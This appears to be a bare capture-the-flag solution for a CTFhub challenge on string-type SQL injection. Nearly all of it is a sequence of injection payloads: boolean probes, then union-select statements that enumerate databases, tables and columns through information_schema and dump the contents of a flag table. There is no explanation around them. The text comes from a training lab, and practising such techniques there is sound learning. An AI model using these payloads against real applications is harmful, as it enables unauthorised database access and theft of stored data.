CTFhub-sql注入-字符型注入

1

2

 3

 1 and 1=1

 1 and 1=2

 1 union select 1,2 

123' union select 1,2 #

123' union  select 1,database() #

123' union select 1,group_concat(schema_name)from information_schema.schemata #

123' union select 1,group_concat(table_name)from information_schema.tables where table_schema='sqli' #

 123' union select 1,group_concat(column_name)from information_schema.columns where table_schema='sqli' and table_name='flag' #

123' union select 1,group_concat(flag)from sqli.flag #